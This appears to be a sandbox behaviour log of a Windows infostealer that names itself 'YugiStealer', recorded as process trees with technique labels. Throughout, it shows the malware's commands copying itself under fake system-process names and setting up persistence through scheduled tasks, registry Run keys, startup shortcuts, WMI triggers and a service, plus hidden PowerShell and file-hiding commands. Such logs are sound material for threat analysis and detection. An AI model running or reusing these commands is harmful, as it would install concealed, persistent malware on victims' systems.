    schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Windows\Temp\services.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:7668
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Windows\Temp\services.exe\"; $Shortcut.Save()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:7972
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Windows\Temp\services.exe\" }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:8336
- C:\Windows\system32\cmd.exe
  "cmd" /c "sc create \"YugiStealerSvc\" binPath= \"C:\Windows\Temp\services.exe\" start= auto"
  2⤵
  PID:7776
- - C:\Windows\system32\sc.exe
    sc create \"YugiStealerSvc\" binPath= \"C:\Windows\Temp\services.exe\" start= auto
    3⤵
    - Launches sc.exe
    PID:7780
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\services.exe\" /f"
  2⤵
  PID:9020
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\services.exe\" /f
    3⤵
    - Modifies registry key
    PID:8876
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\services.exe\" /f"
  2⤵
  PID:8360
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\services.exe\" /f
    3⤵
    - Modifies registry key
    PID:6952
- C:\Windows\Temp\BuwX8zoa\TraumatizerV3.exe
  "C:\Windows\Temp\BuwX8zoa\TraumatizerV3.exe"
  2⤵
  PID:7088
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"
    3⤵
    PID:8732
- C:\Windows\system32\wscript.exe
  "wscript.exe" //B //Nologo C:\Windows\Temp\BuwX8zoa\FartnutsTrauma.vbs
  2⤵
  PID:7280
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c @echo off
    3⤵
    PID:6424
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\BuwX8zoa\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    PID:7876
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:9184
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Windows\Temp\BuwX8zoa\FartnutsTrauma.vbs"
      4⤵
      Views/modifies file attributes
      PID:8484
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\BuwX8zoa\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    PID:8396
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:7720
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Windows\Temp\BuwX8zoa\FartnutsTrauma.vbs"
      4⤵
      PID:10208
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\BuwX8zoa\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:10368
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:10408
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Windows\Temp\BuwX8zoa\FartnutsTrauma.vbs"
      4⤵
      PID:10108
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Windows\Temp\BuwX8zoa\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&1
    3⤵
    PID:9980
- C:\Users\Admin\Downloads\TraumatizerV3.exe
  "C:\Users\Admin\Downloads\TraumatizerV3.exe"
  2⤵
  PID:8416
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:8580
- C:\Windows\system32\wscript.exe
  "wscript.exe" //B //Nologo C:\Users\Admin\Downloads\FartnutsTrauma.vbs
  2⤵
  PID:8436
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c @echo off
    3⤵
    PID:4596
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:7796
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:8088
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"
      4⤵
      PID:3544
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:8528
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:8312
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"
      4⤵
      Views/modifies file attributes
      PID:9116
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    PID:10980
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:10636
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"
      4⤵
      Views/modifies file attributes
      PID:1492
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Users\Admin\Downloads\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&1
    3⤵
    PID:8040
- C:\Windows\system32\cmd.exe
  "cmd" /c "tasklist /v /fo csv"
  2⤵
  PID:3936
- - C:\Windows\system32\tasklist.exe
    tasklist /v /fo csv
    3⤵
    - Enumerates processes with tasklist
    PID:8172

C:\Users\Public\Documents\winlogon.exe
"C:\Users\Public\Documents\winlogon.exe"
1⤵
PID:4840
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\Windows\Temp\csrss.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:2380
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\Windows\Temp\csrss.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:4440
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\csrss.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:6440
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\csrss.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:3712
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:6484
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2804
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3116
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:6432
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:6164
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:2932
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:6140
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy6\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:7116
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy6\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:7028
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Public\Documents\winlogon.exe\" /sc onstart /f /rl highest"
  2⤵
  PID:6944
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Public\Documents\winlogon.exe\" /sc onstart /f /rl highest
    3⤵
    PID:2408
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Public\Documents\winlogon.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:7588
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Public\Documents\winlogon.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:7828
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Users\Public\Documents\winlogon.exe\"; $Shortcut.Save()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:8172
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Users\Public\Documents\winlogon.exe\" }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:8480
- C:\Windows\system32\cmd.exe
  "cmd" /c "sc create \"YugiStealerSvc\" binPath= \"C:\Users\Public\Documents\winlogon.exe\" start= auto"
  2⤵
  PID:7256
- - C:\Windows\system32\sc.exe
    sc create \"YugiStealerSvc\" binPath= \"C:\Users\Public\Documents\winlogon.exe\" start= auto
    3⤵
    - Launches sc.exe
    PID:8492
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\winlogon.exe\" /f"
  2⤵
  PID:4164
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\winlogon.exe\" /f
    3⤵
    - Modifies registry key
    PID:9132
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\winlogon.exe\" /f"
  2⤵
  PID:3328
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\winlogon.exe\" /f
    3⤵
    - Modifies registry key
    PID:7784
- C:\Windows\Temp\hNSKfILg\TraumatizerV3.exe
  "C:\Windows\Temp\hNSKfILg\TraumatizerV3.exe"
  2⤵
  PID:8372
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"
    3⤵
    PID:8792
- C:\Windows\system32\wscript.exe
  "wscript.exe" //B //Nologo C:\Windows\Temp\hNSKfILg\FartnutsTrauma.vbs
  2⤵
  PID:9008
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c @echo off
    3⤵
    PID:9356
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\hNSKfILg\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:6404
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4596
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Windows\Temp\hNSKfILg\FartnutsTrauma.vbs"
      4⤵
      PID:9996
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\hNSKfILg\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    PID:6464
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:8060
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Windows\Temp\hNSKfILg\FartnutsTrauma.vbs"
      4⤵
      PID:9248
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\hNSKfILg\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    PID:6500
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:6316
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Windows\Temp\hNSKfILg\FartnutsTrauma.vbs"
      4⤵
      Views/modifies file attributes
      PID:11868
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Windows\Temp\hNSKfILg\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&1
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:6760
- C:\Users\Admin\Downloads\TraumatizerV3.exe
  "C:\Users\Admin\Downloads\TraumatizerV3.exe"
  2⤵
  PID:8668
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"
    3⤵
    PID:7204
- C:\Windows\system32\wscript.exe
  "wscript.exe" //B //Nologo C:\Users\Admin\Downloads\FartnutsTrauma.vbs
  2⤵
  PID:7568
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c @echo off
    3⤵
    PID:9348
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    PID:8364
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:9556
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"
      4⤵
      Views/modifies file attributes
      PID:10776
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    PID:4596
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:9996
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"
      4⤵
      Views/modifies file attributes
      PID:7988
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    PID:3728
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:10208
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"
      4⤵
      Views/modifies file attributes
      PID:12012
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Users\Admin\Downloads\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&1
    3⤵
    PID:3544
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c start /B "C:\Users\Admin\AppData\Local\Temp\hide_192710.bat"
    3⤵
    PID:9728
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&1
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:12472
- C:\Windows\system32\cmd.exe
  "cmd" /c "tasklist /v /fo csv"
  2⤵
  PID:6956
- - C:\Windows\system32\tasklist.exe
    tasklist /v /fo csv
    3⤵
    - Enumerates processes with tasklist
    PID:9836

C:\Windows\Temp\csrss.exe
"C:\Windows\Temp\csrss.exe"
1⤵
PID:6216
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\lsass.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:6468
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\lsass.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:1568
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:6656
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:1064
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:8716
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7992
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:4404
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:9292
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:10464
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:11248
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Windows\Temp\csrss.exe\" /sc onstart /f /rl highest"
  2⤵
  PID:9208
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Windows\Temp\csrss.exe\" /sc onstart /f /rl highest
    3⤵
    PID:10248
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Windows\Temp\csrss.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:9400
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Windows\Temp\csrss.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:10176
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Windows\Temp\csrss.exe\"; $Shortcut.Save()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:9588
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Windows\Temp\csrss.exe\" }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:7864

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:6812

C:\Users\Public\Documents\svchost.exe
"C:\Users\Public\Documents\svchost.exe"
1⤵
PID:2820
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\lsass.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:7948
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\lsass.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:9152
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:7624
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:8960
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:8260
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:9144
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:7908
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:7328
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:9676
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:7200
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Public\Documents\svchost.exe\" /sc onstart /f /rl highest"
  2⤵
  PID:11236
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Public\Documents\svchost.exe\" /sc onstart /f /rl highest
    3⤵
    PID:8900
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Public\Documents\svchost.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:3096
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Public\Documents\svchost.exe\" /sc onlogon /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2904
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Users\Public\Documents\svchost.exe\"; $Shortcut.Save()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:8976
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Users\Public\Documents\svchost.exe\" }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:9880
- C:\Windows\system32\cmd.exe
  "cmd" /c "sc create \"YugiStealerSvc\" binPath= \"C:\Users\Public\Documents\svchost.exe\" start= auto"
  2⤵
  PID:11832
- - C:\Windows\system32\sc.exe
    sc create \"YugiStealerSvc\" binPath= \"C:\Users\Public\Documents\svchost.exe\" start= auto
    3⤵
    - Launches sc.exe
    PID:13196

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:7228

C:\Windows\System32\0409\WindowsUpdate.exe
C:\Windows\System32\0409\WindowsUpdate.exe
1⤵
PID:7056
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"WindowsUpdate\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"
  2⤵
  PID:7292

